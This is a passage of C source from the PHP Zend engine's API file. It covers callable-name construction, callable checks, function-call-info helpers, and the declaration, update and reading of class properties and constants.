ZSTR_VAL(mname)); } else { if (error) zend_spprintf(error, 0, "function '%s' does not exist", ZSTR_VAL(mname)); } } zend_string_release_ex(lmname, 0); zend_string_release_ex(mname, 0); if (fcc->object) { fcc->called_scope = fcc->object->ce; } return retval; } /* }}} */ static zend_string *zend_create_method_string(zend_string *class_name, zend_string *method_name) { zend_string *callable_name = zend_string_alloc( ZSTR_LEN(class_name) + ZSTR_LEN(method_name) + sizeof("::") - 1, 0); char *ptr = ZSTR_VAL(callable_name); memcpy(ptr, ZSTR_VAL(class_name), ZSTR_LEN(class_name)); ptr += ZSTR_LEN(class_name); memcpy(ptr, "::", sizeof("::") - 1); ptr += sizeof("::") - 1; memcpy(ptr, ZSTR_VAL(method_name), ZSTR_LEN(method_name) + 1); return callable_name; } ZEND_API zend_string *zend_get_callable_name_ex(zval *callable, zend_object *object) /* {{{ */ { try_again: switch (Z_TYPE_P(callable)) { case IS_STRING: if (object) { return zend_create_method_string(object->ce->name, Z_STR_P(callable)); } return zend_string_copy(Z_STR_P(callable)); case IS_ARRAY: { zval *method = NULL; zval *obj = NULL; if (zend_hash_num_elements(Z_ARRVAL_P(callable)) == 2) { obj = zend_hash_index_find_deref(Z_ARRVAL_P(callable), 0); method = zend_hash_index_find_deref(Z_ARRVAL_P(callable), 1); } if (obj == NULL || method == NULL || Z_TYPE_P(method) != IS_STRING) { return zend_string_init("Array", sizeof("Array")-1, 0); } if (Z_TYPE_P(obj) == IS_STRING) { return zend_create_method_string(Z_STR_P(obj), Z_STR_P(method)); } else if (Z_TYPE_P(obj) == IS_OBJECT) { return zend_create_method_string(Z_OBJCE_P(obj)->name, Z_STR_P(method)); } else { return zend_string_init("Array", sizeof("Array")-1, 0); } } case IS_OBJECT: { zend_class_entry *calling_scope; zend_function *fptr; zend_object *object; zend_object *zobj = Z_OBJ_P(callable); if (zobj->handlers->get_closure && zobj->handlers->get_closure(zobj, &calling_scope, &fptr, &object) == SUCCESS) { zend_class_entry *ce = zobj->ce; zend_string *callable_name = zend_string_alloc( ZSTR_LEN(ce->name) + sizeof("::__invoke") - 1, 0); memcpy(ZSTR_VAL(callable_name), ZSTR_VAL(ce->name), ZSTR_LEN(ce->name)); memcpy(ZSTR_VAL(callable_name) + ZSTR_LEN(ce->name), "::__invoke", sizeof("::__invoke")); return callable_name; } return zval_get_string_func(callable); } case IS_REFERENCE: callable = Z_REFVAL_P(callable); goto try_again; default: return zval_get_string_func(callable); } } /* }}} */ ZEND_API zend_string *zend_get_callable_name(zval *callable) /* {{{ */ { return zend_get_callable_name_ex(callable, NULL); } /* }}} */ static zend_always_inline zend_bool zend_is_callable_impl(zval *callable, zend_object *object, uint32_t check_flags, zend_fcall_info_cache *fcc, char **error) /* {{{ */ { zend_bool ret; zend_fcall_info_cache fcc_local; int strict_class = 0; if (fcc == NULL) { fcc = &fcc_local; } if (error) { *error = NULL; } fcc->calling_scope = NULL; fcc->called_scope = NULL; fcc->function_handler = NULL; fcc->object = NULL; again: switch (Z_TYPE_P(callable)) { case IS_STRING: if (object) { fcc->object = object; fcc->calling_scope = object->ce; } if (check_flags & IS_CALLABLE_CHECK_SYNTAX_ONLY) { fcc->called_scope = fcc->calling_scope; return 1; } check_func: ret = zend_is_callable_check_func(check_flags, callable, fcc, strict_class, error); if (fcc == &fcc_local && fcc->function_handler && (fcc->function_handler->common.fn_flags & ZEND_ACC_CALL_VIA_TRAMPOLINE)) { if (fcc->function_handler->common.function_name) { zend_string_release_ex(fcc->function_handler->common.function_name, 0); } zend_free_trampoline(fcc->function_handler); } return ret; case IS_ARRAY: { zval *method = NULL; zval *obj = NULL; if (zend_hash_num_elements(Z_ARRVAL_P(callable)) == 2) { obj = zend_hash_index_find(Z_ARRVAL_P(callable), 0); method = zend_hash_index_find(Z_ARRVAL_P(callable), 1); } do { if (obj == NULL || method == NULL) { break; } ZVAL_DEREF(method); if (Z_TYPE_P(method) != IS_STRING) { break; } ZVAL_DEREF(obj); if (Z_TYPE_P(obj) == IS_STRING) { if (check_flags & IS_CALLABLE_CHECK_SYNTAX_ONLY) { return 1; } if (!zend_is_callable_check_class(Z_STR_P(obj), zend_get_executed_scope(), fcc, &strict_class, error)) { return 0; } } else if (Z_TYPE_P(obj) == IS_OBJECT) { fcc->calling_scope = Z_OBJCE_P(obj); /* TBFixed: what if it's overloaded? */ fcc->object = Z_OBJ_P(obj); if (check_flags & IS_CALLABLE_CHECK_SYNTAX_ONLY) { fcc->called_scope = fcc->calling_scope; return 1; } } else { break; } callable = method; goto check_func; } while (0); if (zend_hash_num_elements(Z_ARRVAL_P(callable)) == 2) { if (!obj || (!Z_ISREF_P(obj)? (Z_TYPE_P(obj) != IS_STRING && Z_TYPE_P(obj) != IS_OBJECT) : (Z_TYPE_P(Z_REFVAL_P(obj)) != IS_STRING && Z_TYPE_P(Z_REFVAL_P(obj)) != IS_OBJECT))) { if (error) *error = estrdup("first array member is not a valid class name or object"); } else { if (error) *error = estrdup("second array member is not a valid method"); } } else { if (error) *error = estrdup("array must have exactly two members"); } } return 0; case IS_OBJECT: if (Z_OBJ_HANDLER_P(callable, get_closure) && Z_OBJ_HANDLER_P(callable, get_closure)(Z_OBJ_P(callable), &fcc->calling_scope, &fcc->function_handler, &fcc->object) == SUCCESS) { fcc->called_scope = fcc->calling_scope; return 1; } if (error) *error = estrdup("no array or string given"); return 0; case IS_REFERENCE: callable = Z_REFVAL_P(callable); goto again; default: if (error) *error = estrdup("no array or string given"); return 0; } } /* }}} */ ZEND_API zend_bool zend_is_callable_ex(zval *callable, zend_object *object, uint32_t check_flags, zend_string **callable_name, zend_fcall_info_cache *fcc, char **error) /* {{{ */ { zend_bool ret = zend_is_callable_impl(callable, object, check_flags, fcc, error); if (callable_name) { *callable_name = zend_get_callable_name_ex(callable, object); } return ret; } ZEND_API zend_bool zend_is_callable(zval *callable, uint32_t check_flags, zend_string **callable_name) /* {{{ */ { return zend_is_callable_ex(callable, NULL, check_flags, callable_name, NULL, NULL); } /* }}} */ ZEND_API zend_bool zend_make_callable(zval *callable, zend_string **callable_name) /* {{{ */ { zend_fcall_info_cache fcc; if (zend_is_callable_ex(callable, NULL, 0, callable_name, &fcc, NULL)) { if (Z_TYPE_P(callable) == IS_STRING && fcc.calling_scope) { zval_ptr_dtor_str(callable); array_init(callable); add_next_index_str(callable, zend_string_copy(fcc.calling_scope->name)); add_next_index_str(callable, zend_string_copy(fcc.function_handler->common.function_name)); } if (fcc.function_handler && (fcc.function_handler->common.fn_flags & ZEND_ACC_CALL_VIA_TRAMPOLINE)) { zend_string_release_ex(fcc.function_handler->common.function_name, 0); zend_free_trampoline(fcc.function_handler); } return 1; } return 0; } /* }}} */ ZEND_API int zend_fcall_info_init(zval *callable, uint32_t check_flags, zend_fcall_info *fci, zend_fcall_info_cache *fcc, zend_string **callable_name, char **error) /* {{{ */ { if (!zend_is_callable_ex(callable, NULL, check_flags, callable_name, fcc, error)) { return FAILURE; } fci->size = sizeof(*fci); fci->object = fcc->object; ZVAL_COPY_VALUE(&fci->function_name, callable); fci->retval = NULL; fci->param_count = 0; fci->params = NULL; fci->no_separation = 1; return SUCCESS; } /* }}} */ ZEND_API void zend_fcall_info_args_clear(zend_fcall_info *fci, int free_mem) /* {{{ */ { if (fci->params) { zval *p = fci->params; zval *end = p + fci->param_count; while (p != end) { i_zval_ptr_dtor(p); p++; } if (free_mem) { efree(fci->params); fci->params = NULL; } } fci->param_count = 0; } /* }}} */ ZEND_API void zend_fcall_info_args_save(zend_fcall_info *fci, int *param_count, zval **params) /* {{{ */ { *param_count = fci->param_count; *params = fci->params; fci->param_count = 0; fci->params = NULL; } /* }}} */ ZEND_API void zend_fcall_info_args_restore(zend_fcall_info *fci, int param_count, zval *params) /* {{{ */ { zend_fcall_info_args_clear(fci, 1); fci->param_count = param_count; fci->params = params; } /* }}} */ ZEND_API int zend_fcall_info_args_ex(zend_fcall_info *fci, zend_function *func, zval *args) /* {{{ */ { zval *arg, *params; uint32_t n = 1; zend_fcall_info_args_clear(fci, !args); if (!args) { return SUCCESS; } if (Z_TYPE_P(args) != IS_ARRAY) { return FAILURE; } fci->param_count = zend_hash_num_elements(Z_ARRVAL_P(args)); fci->params = params = (zval *) erealloc(fci->params, fci->param_count * sizeof(zval)); ZEND_HASH_FOREACH_VAL(Z_ARRVAL_P(args), arg) { if (func && !Z_ISREF_P(arg) && ARG_SHOULD_BE_SENT_BY_REF(func, n)) { ZVAL_NEW_REF(params, arg); Z_TRY_ADDREF_P(arg); } else { ZVAL_COPY(params, arg); } params++; n++; } ZEND_HASH_FOREACH_END(); return SUCCESS; } /* }}} */ ZEND_API int zend_fcall_info_args(zend_fcall_info *fci, zval *args) /* {{{ */ { return zend_fcall_info_args_ex(fci, NULL, args); } /* }}} */ ZEND_API int zend_fcall_info_argp(zend_fcall_info *fci, int argc, zval *argv) /* {{{ */ { int i; if (argc < 0) { return FAILURE; } zend_fcall_info_args_clear(fci, !argc); if (argc) { fci->param_count = argc; fci->params = (zval *) erealloc(fci->params, fci->param_count * sizeof(zval)); for (i = 0; i < argc; ++i) { ZVAL_COPY(&fci->params[i], &argv[i]); } } return SUCCESS; } /* }}} */ ZEND_API int zend_fcall_info_argv(zend_fcall_info *fci, int argc, va_list *argv) /* {{{ */ { int i; zval *arg; if (argc < 0) { return FAILURE; } zend_fcall_info_args_clear(fci, !argc); if (argc) { fci->param_count = argc; fci->params = (zval *) erealloc(fci->params, fci->param_count * sizeof(zval)); for (i = 0; i < argc; ++i) { arg = va_arg(*argv, zval *); ZVAL_COPY(&fci->params[i], arg); } } return SUCCESS; } /* }}} */ ZEND_API int zend_fcall_info_argn(zend_fcall_info *fci, int argc, ...) /* {{{ */ { int ret; va_list argv; va_start(argv, argc); ret = zend_fcall_info_argv(fci, argc, &argv); va_end(argv); return ret; } /* }}} */ ZEND_API int zend_fcall_info_call(zend_fcall_info *fci, zend_fcall_info_cache *fcc, zval *retval_ptr, zval *args) /* {{{ */ { zval retval, *org_params = NULL; int result, org_count = 0; fci->retval = retval_ptr ? retval_ptr : &retval; if (args) { zend_fcall_info_args_save(fci, &org_count, &org_params); zend_fcall_info_args(fci, args); } result = zend_call_function(fci, fcc); if (!retval_ptr && Z_TYPE(retval) != IS_UNDEF) { zval_ptr_dtor(&retval); } if (args) { zend_fcall_info_args_restore(fci, org_count, org_params); } return result; } /* }}} */ ZEND_API const char *zend_get_module_version(const char *module_name) /* {{{ */ { zend_string *lname; size_t name_len = strlen(module_name); zend_module_entry *module; lname = zend_string_alloc(name_len, 0); zend_str_tolower_copy(ZSTR_VAL(lname), module_name, name_len); module = zend_hash_find_ptr(&module_registry, lname); zend_string_efree(lname); return module ? module->version : NULL; } /* }}} */ static inline zend_string *zval_make_interned_string(zval *zv) /* {{{ */ { ZEND_ASSERT(Z_TYPE_P(zv) == IS_STRING); Z_STR_P(zv) = zend_new_interned_string(Z_STR_P(zv)); if (ZSTR_IS_INTERNED(Z_STR_P(zv))) { Z_TYPE_FLAGS_P(zv) = 0; } return Z_STR_P(zv); } ZEND_API int zend_declare_typed_property(zend_class_entry *ce, zend_string *name, zval *property, int access_type, zend_string *doc_comment, zend_type type) /* {{{ */ { zend_property_info *property_info, *property_info_ptr; if (ZEND_TYPE_IS_SET(type)) { ce->ce_flags |= ZEND_ACC_HAS_TYPE_HINTS; } if (ce->type == ZEND_INTERNAL_CLASS) { property_info = pemalloc(sizeof(zend_property_info), 1); } else { property_info = zend_arena_alloc(&CG(arena), sizeof(zend_property_info)); if (Z_TYPE_P(property) == IS_CONSTANT_AST) { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } } if (Z_TYPE_P(property) == IS_STRING && !ZSTR_IS_INTERNED(Z_STR_P(property))) { zval_make_interned_string(property); } if (!(access_type & ZEND_ACC_PPP_MASK)) { access_type |= ZEND_ACC_PUBLIC; } if (access_type & ZEND_ACC_STATIC) { if ((property_info_ptr = zend_hash_find_ptr(&ce->properties_info, name)) != NULL && (property_info_ptr->flags & ZEND_ACC_STATIC) != 0) { property_info->offset = property_info_ptr->offset; zval_ptr_dtor(&ce->default_static_members_table[property_info->offset]); zend_hash_del(&ce->properties_info, name); } else { property_info->offset = ce->default_static_members_count++; ce->default_static_members_table = perealloc(ce->default_static_members_table, sizeof(zval) * ce->default_static_members_count, ce->type == ZEND_INTERNAL_CLASS); } ZVAL_COPY_VALUE(&ce->default_static_members_table[property_info->offset], property); if (!ZEND_MAP_PTR(ce->static_members_table)) { ZEND_ASSERT(ce->type == ZEND_INTERNAL_CLASS); if (!EG(current_execute_data)) { ZEND_MAP_PTR_NEW(ce->static_members_table); } else { /* internal class loaded by dl() */ ZEND_MAP_PTR_INIT(ce->static_members_table, &ce->default_static_members_table); } } } else { if ((property_info_ptr = zend_hash_find_ptr(&ce->properties_info, name)) != NULL && (property_info_ptr->flags & ZEND_ACC_STATIC) == 0) { property_info->offset = property_info_ptr->offset; zval_ptr_dtor(&ce->default_properties_table[OBJ_PROP_TO_NUM(property_info->offset)]); zend_hash_del(&ce->properties_info, name); ZEND_ASSERT(ce->type == ZEND_INTERNAL_CLASS); ZEND_ASSERT(ce->properties_info_table != NULL); ce->properties_info_table[OBJ_PROP_TO_NUM(property_info->offset)] = property_info; } else { property_info->offset = OBJ_PROP_TO_OFFSET(ce->default_properties_count); ce->default_properties_count++; ce->default_properties_table = perealloc(ce->default_properties_table, sizeof(zval) * ce->default_properties_count, ce->type == ZEND_INTERNAL_CLASS); /* For user classes this is handled during linking */ if (ce->type == ZEND_INTERNAL_CLASS) { ce->properties_info_table = perealloc(ce->properties_info_table, sizeof(zend_property_info *) * ce->default_properties_count, 1); ce->properties_info_table[ce->default_properties_count - 1] = property_info; } } ZVAL_COPY_VALUE(&ce->default_properties_table[OBJ_PROP_TO_NUM(property_info->offset)], property); } if (ce->type & ZEND_INTERNAL_CLASS) { switch(Z_TYPE_P(property)) { case IS_ARRAY: case IS_OBJECT: case IS_RESOURCE: zend_error_noreturn(E_CORE_ERROR, "Internal zval's can't be arrays, objects or resources"); break; default: break; } /* Must be interned to avoid ZTS data races */ name = zend_new_interned_string(zend_string_copy(name)); } if (access_type & ZEND_ACC_PUBLIC) { property_info->name = zend_string_copy(name); } else if (access_type & ZEND_ACC_PRIVATE) { property_info->name = zend_mangle_property_name(ZSTR_VAL(ce->name), ZSTR_LEN(ce->name), ZSTR_VAL(name), ZSTR_LEN(name), ce->type & ZEND_INTERNAL_CLASS); } else { ZEND_ASSERT(access_type & ZEND_ACC_PROTECTED); property_info->name = zend_mangle_property_name("*", 1, ZSTR_VAL(name), ZSTR_LEN(name), ce->type & ZEND_INTERNAL_CLASS); } property_info->name = zend_new_interned_string(property_info->name); property_info->flags = access_type; property_info->doc_comment = doc_comment; property_info->ce = ce; property_info->type = type; zend_hash_update_ptr(&ce->properties_info, name, property_info); return SUCCESS; } /* }}} */ ZEND_API int zend_try_assign_typed_ref_ex(zend_reference *ref, zval *val, zend_bool strict) /* {{{ */ { if (UNEXPECTED(!zend_verify_ref_assignable_zval(ref, val, strict))) { zval_ptr_dtor(val); return FAILURE; } else { zval_ptr_dtor(&ref->val); ZVAL_COPY_VALUE(&ref->val, val); return SUCCESS; } } /* }}} */ ZEND_API int zend_try_assign_typed_ref(zend_reference *ref, zval *val) /* {{{ */ { return zend_try_assign_typed_ref_ex(ref, val, ZEND_ARG_USES_STRICT_TYPES()); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_null(zend_reference *ref) /* {{{ */ { zval tmp; ZVAL_NULL(&tmp); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_bool(zend_reference *ref, zend_bool val) /* {{{ */ { zval tmp; ZVAL_BOOL(&tmp, val); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_long(zend_reference *ref, zend_long lval) /* {{{ */ { zval tmp; ZVAL_LONG(&tmp, lval); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_double(zend_reference *ref, double dval) /* {{{ */ { zval tmp; ZVAL_DOUBLE(&tmp, dval); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_empty_string(zend_reference *ref) /* {{{ */ { zval tmp; ZVAL_EMPTY_STRING(&tmp); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_str(zend_reference *ref, zend_string *str) /* {{{ */ { zval tmp; ZVAL_STR(&tmp, str); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_string(zend_reference *ref, const char *string) /* {{{ */ { zval tmp; ZVAL_STRING(&tmp, string); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_stringl(zend_reference *ref, const char *string, size_t len) /* {{{ */ { zval tmp; ZVAL_STRINGL(&tmp, string, len); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_arr(zend_reference *ref, zend_array *arr) /* {{{ */ { zval tmp; ZVAL_ARR(&tmp, arr); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_res(zend_reference *ref, zend_resource *res) /* {{{ */ { zval tmp; ZVAL_RES(&tmp, res); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_zval(zend_reference *ref, zval *zv) /* {{{ */ { zval tmp; ZVAL_COPY_VALUE(&tmp, zv); return zend_try_assign_typed_ref(ref, &tmp); } /* }}} */ ZEND_API int zend_try_assign_typed_ref_zval_ex(zend_reference *ref, zval *zv, zend_bool strict) /* {{{ */ { zval tmp; ZVAL_COPY_VALUE(&tmp, zv); return zend_try_assign_typed_ref_ex(ref, &tmp, strict); } /* }}} */ ZEND_API int zend_declare_property_ex(zend_class_entry *ce, zend_string *name, zval *property, int access_type, zend_string *doc_comment) /* {{{ */ { return zend_declare_typed_property(ce, name, property, access_type, doc_comment, 0); } /* }}} */ ZEND_API int zend_declare_property(zend_class_entry *ce, const char *name, size_t name_length, zval *property, int access_type) /* {{{ */ { zend_string *key = zend_string_init(name, name_length, ce->type & ZEND_INTERNAL_CLASS); int ret = zend_declare_property_ex(ce, key, property, access_type, NULL); zend_string_release(key); return ret; } /* }}} */ ZEND_API int zend_declare_property_null(zend_class_entry *ce, const char *name, size_t name_length, int access_type) /* {{{ */ { zval property; ZVAL_NULL(&property); return zend_declare_property(ce, name, name_length, &property, access_type); } /* }}} */ ZEND_API int zend_declare_property_bool(zend_class_entry *ce, const char *name, size_t name_length, zend_long value, int access_type) /* {{{ */ { zval property; ZVAL_BOOL(&property, value); return zend_declare_property(ce, name, name_length, &property, access_type); } /* }}} */ ZEND_API int zend_declare_property_long(zend_class_entry *ce, const char *name, size_t name_length, zend_long value, int access_type) /* {{{ */ { zval property; ZVAL_LONG(&property, value); return zend_declare_property(ce, name, name_length, &property, access_type); } /* }}} */ ZEND_API int zend_declare_property_double(zend_class_entry *ce, const char *name, size_t name_length, double value, int access_type) /* {{{ */ { zval property; ZVAL_DOUBLE(&property, value); return zend_declare_property(ce, name, name_length, &property, access_type); } /* }}} */ ZEND_API int zend_declare_property_string(zend_class_entry *ce, const char *name, size_t name_length, const char *value, int access_type) /* {{{ */ { zval property; ZVAL_NEW_STR(&property, zend_string_init(value, strlen(value), ce->type & ZEND_INTERNAL_CLASS)); return zend_declare_property(ce, name, name_length, &property, access_type); } /* }}} */ ZEND_API int zend_declare_property_stringl(zend_class_entry *ce, const char *name, size_t name_length, const char *value, size_t value_len, int access_type) /* {{{ */ { zval property; ZVAL_NEW_STR(&property, zend_string_init(value, value_len, ce->type & ZEND_INTERNAL_CLASS)); return zend_declare_property(ce, name, name_length, &property, access_type); } /* }}} */ ZEND_API int zend_declare_class_constant_ex(zend_class_entry *ce, zend_string *name, zval *value, int access_type, zend_string *doc_comment) /* {{{ */ { zend_class_constant *c; if (ce->ce_flags & ZEND_ACC_INTERFACE) { if (access_type != ZEND_ACC_PUBLIC) { zend_error_noreturn(E_COMPILE_ERROR, "Access type for interface constant %s::%s must be public", ZSTR_VAL(ce->name), ZSTR_VAL(name)); } } if (zend_string_equals_literal_ci(name, "class")) { zend_error_noreturn(ce->type == ZEND_INTERNAL_CLASS ? E_CORE_ERROR : E_COMPILE_ERROR, "A class constant must not be called 'class'; it is reserved for class name fetching"); } if (Z_TYPE_P(value) == IS_STRING && !ZSTR_IS_INTERNED(Z_STR_P(value))) { zval_make_interned_string(value); } if (ce->type == ZEND_INTERNAL_CLASS) { c = pemalloc(sizeof(zend_class_constant), 1); } else { c = zend_arena_alloc(&CG(arena), sizeof(zend_class_constant)); } ZVAL_COPY_VALUE(&c->value, value); Z_ACCESS_FLAGS(c->value) = access_type; c->doc_comment = doc_comment; c->ce = ce; if (Z_TYPE_P(value) == IS_CONSTANT_AST) { ce->ce_flags &= ~ZEND_ACC_CONSTANTS_UPDATED; } if (!zend_hash_add_ptr(&ce->constants_table, name, c)) { zend_error_noreturn(ce->type == ZEND_INTERNAL_CLASS ? E_CORE_ERROR : E_COMPILE_ERROR, "Cannot redefine class constant %s::%s", ZSTR_VAL(ce->name), ZSTR_VAL(name)); } return SUCCESS; } /* }}} */ ZEND_API int zend_declare_class_constant(zend_class_entry *ce, const char *name, size_t name_length, zval *value) /* {{{ */ { int ret; zend_string *key; if (ce->type == ZEND_INTERNAL_CLASS) { key = zend_string_init_interned(name, name_length, 1); } else { key = zend_string_init(name, name_length, 0); } ret = zend_declare_class_constant_ex(ce, key, value, ZEND_ACC_PUBLIC, NULL); zend_string_release(key); return ret; } /* }}} */ ZEND_API int zend_declare_class_constant_null(zend_class_entry *ce, const char *name, size_t name_length) /* {{{ */ { zval constant; ZVAL_NULL(&constant); return zend_declare_class_constant(ce, name, name_length, &constant); } /* }}} */ ZEND_API int zend_declare_class_constant_long(zend_class_entry *ce, const char *name, size_t name_length, zend_long value) /* {{{ */ { zval constant; ZVAL_LONG(&constant, value); return zend_declare_class_constant(ce, name, name_length, &constant); } /* }}} */ ZEND_API int zend_declare_class_constant_bool(zend_class_entry *ce, const char *name, size_t name_length, zend_bool value) /* {{{ */ { zval constant; ZVAL_BOOL(&constant, value); return zend_declare_class_constant(ce, name, name_length, &constant); } /* }}} */ ZEND_API int zend_declare_class_constant_double(zend_class_entry *ce, const char *name, size_t name_length, double value) /* {{{ */ { zval constant; ZVAL_DOUBLE(&constant, value); return zend_declare_class_constant(ce, name, name_length, &constant); } /* }}} */ ZEND_API int zend_declare_class_constant_stringl(zend_class_entry *ce, const char *name, size_t name_length, const char *value, size_t value_length) /* {{{ */ { zval constant; ZVAL_NEW_STR(&constant, zend_string_init(value, value_length, ce->type & ZEND_INTERNAL_CLASS)); return zend_declare_class_constant(ce, name, name_length, &constant); } /* }}} */ ZEND_API int zend_declare_class_constant_string(zend_class_entry *ce, const char *name, size_t name_length, const char *value) /* {{{ */ { return zend_declare_class_constant_stringl(ce, name, name_length, value, strlen(value)); } /* }}} */ ZEND_API void zend_update_property_ex(zend_class_entry *scope, zval *object, zend_string *name, zval *value) /* {{{ */ { zend_class_entry *old_scope = EG(fake_scope); EG(fake_scope) = scope; Z_OBJ_HT_P(object)->write_property(Z_OBJ_P(object), name, value, NULL); EG(fake_scope) = old_scope; } /* }}} */ ZEND_API void zend_update_property(zend_class_entry *scope, zval *object, const char *name, size_t name_length, zval *value) /* {{{ */ { zend_string *property; zend_class_entry *old_scope = EG(fake_scope); EG(fake_scope) = scope; property = zend_string_init(name, name_length, 0); Z_OBJ_HT_P(object)->write_property(Z_OBJ_P(object), property, value, NULL); zend_string_release_ex(property, 0); EG(fake_scope) = old_scope; } /* }}} */ ZEND_API void zend_update_property_null(zend_class_entry *scope, zval *object, const char *name, size_t name_length) /* {{{ */ { zval tmp; ZVAL_NULL(&tmp); zend_update_property(scope, object, name, name_length, &tmp); } /* }}} */ ZEND_API void zend_unset_property(zend_class_entry *scope, zval *object, const char *name, size_t name_length) /* {{{ */ { zend_string *property; zend_class_entry *old_scope = EG(fake_scope); EG(fake_scope) = scope; property = zend_string_init(name, name_length, 0); Z_OBJ_HT_P(object)->unset_property(Z_OBJ_P(object), property, 0); zend_string_release_ex(property, 0); EG(fake_scope) = old_scope; } /* }}} */ ZEND_API void zend_update_property_bool(zend_class_entry *scope, zval *object, const char *name, size_t name_length, zend_long value) /* {{{ */ { zval tmp; ZVAL_BOOL(&tmp, value); zend_update_property(scope, object, name, name_length, &tmp); } /* }}} */ ZEND_API void zend_update_property_long(zend_class_entry *scope, zval *object, const char *name, size_t name_length, zend_long value) /* {{{ */ { zval tmp; ZVAL_LONG(&tmp, value); zend_update_property(scope, object, name, name_length, &tmp); } /* }}} */ ZEND_API void zend_update_property_double(zend_class_entry *scope, zval *object, const char *name, size_t name_length, double value) /* {{{ */ { zval tmp; ZVAL_DOUBLE(&tmp, value); zend_update_property(scope, object, name, name_length, &tmp); } /* }}} */ ZEND_API void zend_update_property_str(zend_class_entry *scope, zval *object, const char *name, size_t name_length, zend_string *value) /* {{{ */ { zval tmp; ZVAL_STR(&tmp, value); zend_update_property(scope, object, name, name_length, &tmp); } /* }}} */ ZEND_API void zend_update_property_string(zend_class_entry *scope, zval *object, const char *name, size_t name_length, const char *value) /* {{{ */ { zval tmp; ZVAL_STRING(&tmp, value); Z_SET_REFCOUNT(tmp, 0); zend_update_property(scope, object, name, name_length, &tmp); } /* }}} */ ZEND_API void zend_update_property_stringl(zend_class_entry *scope, zval *object, const char *name, size_t name_length, const char *value, size_t value_len) /* {{{ */ { zval tmp; ZVAL_STRINGL(&tmp, value, value_len); Z_SET_REFCOUNT(tmp, 0); zend_update_property(scope, object, name, name_length, &tmp); } /* }}} */ ZEND_API int zend_update_static_property_ex(zend_class_entry *scope, zend_string *name, zval *value) /* {{{ */ { zval *property, tmp; zend_property_info *prop_info; zend_class_entry *old_scope = EG(fake_scope); EG(fake_scope) = scope; property = zend_std_get_static_property_with_info(scope, name, BP_VAR_W, &prop_info); EG(fake_scope) = old_scope; if (!property) { return FAILURE; } ZEND_ASSERT(!Z_ISREF_P(value)); Z_TRY_ADDREF_P(value); if (prop_info->type) { ZVAL_COPY_VALUE(&tmp, value); if (!zend_verify_property_type(prop_info, &tmp, /* strict */ 0)) { Z_TRY_DELREF_P(value); return FAILURE; } value = &tmp; } zend_assign_to_variable(property, value, IS_TMP_VAR, /* strict */ 0); return SUCCESS; } /* }}} */ ZEND_API int zend_update_static_property(zend_class_entry *scope, const char *name, size_t name_length, zval *value) /* {{{ */ { zend_string *key = zend_string_init(name, name_length, 0); int retval = zend_update_static_property_ex(scope, key, value); zend_string_efree(key); return retval; } /* }}} */ ZEND_API int zend_update_static_property_null(zend_class_entry *scope, const char *name, size_t name_length) /* {{{ */ { zval tmp; ZVAL_NULL(&tmp); return zend_update_static_property(scope, name, name_length, &tmp); } /* }}} */ ZEND_API int zend_update_static_property_bool(zend_class_entry *scope, const char *name, size_t name_length, zend_long value) /* {{{ */ { zval tmp; ZVAL_BOOL(&tmp, value); return zend_update_static_property(scope, name, name_length, &tmp); } /* }}} */ ZEND_API int zend_update_static_property_long(zend_class_entry *scope, const char *name, size_t name_length, zend_long value) /* {{{ */ { zval tmp; ZVAL_LONG(&tmp, value); return zend_update_static_property(scope, name, name_length, &tmp); } /* }}} */ ZEND_API int zend_update_static_property_double(zend_class_entry *scope, const char *name, size_t name_length, double value) /* {{{ */ { zval tmp; ZVAL_DOUBLE(&tmp, value); return zend_update_static_property(scope, name, name_length, &tmp); } /* }}} */ ZEND_API int zend_update_static_property_string(zend_class_entry *scope, const char *name, size_t name_length, const char *value) /* {{{ */ { zval tmp; ZVAL_STRING(&tmp, value); Z_SET_REFCOUNT(tmp, 0); return zend_update_static_property(scope, name, name_length, &tmp); } /* }}} */ ZEND_API int zend_update_static_property_stringl(zend_class_entry *scope, const char *name, size_t name_length, const char *value, size_t value_len) /* {{{ */ { zval tmp; ZVAL_STRINGL(&tmp, value, value_len); Z_SET_REFCOUNT(tmp, 0); return zend_update_static_property(scope, name, name_length, &tmp); } /* }}} */ ZEND_API zval *zend_read_property_ex(zend_class_entry *scope, zval *object, zend_string *name, zend_bool silent, zval *rv) /* {{{ */ { zval *value; zend_class_entry *old_scope = EG(fake_scope); EG(fake_scope) = scope; value = Z_OBJ_HT_P(object)->read_property(Z_OBJ_P(object), name, silent?BP_VAR_IS:BP_VAR_R, NULL, rv); EG(fake_scope) = old_scope; return value; } /* }}} */ ZEND_API zval *zend_read_property(zend_class_entry *scope, zval *object, const char *name, size_t name_length, zend_bool silent, zval *rv) /* {{{ */ { zval *value; zend_string *str; str = zend_string_init(name, name_length, 0); value = zend_read_property_ex(scope, object, str, silent, rv); zend_string_release_ex(str, 0); return value; } /* }}} */ ZEND_API zval *zend_read_static_property_ex(zend_class_entry *scope, zend_string *name, zend_bool silent) /* {{{ */ { zval *property; zend_class_entry *old_scope = EG(fake_scope); EG(fake_scope) = scope; property = zend_std_get_static_property(scope, name, silent ? BP_VAR_IS : BP_VAR_R); EG(fake_scope) = old_scope; return property; } /* }}} */ ZEND_API zval *zend_read_static_property(zend_class_entry *scope, const char *name, size_t name_length, zend_bool silent) /* {{{ */ { zend_string *key = zend_string_init(name, name_length, 0); zval *property = zend_read_static_property_ex(scope, key, silent); zend_string_efree(key); return property; } /* }}} */ ZEND_API void zend_save_error_handling(zend_error_handling *current) /* {{{ */ { current->handling = EG(error_handling); current->exception = EG(exception_class); ZVAL_COPY(&current->user_handler, &EG(user_error_handler)); } /* }}} 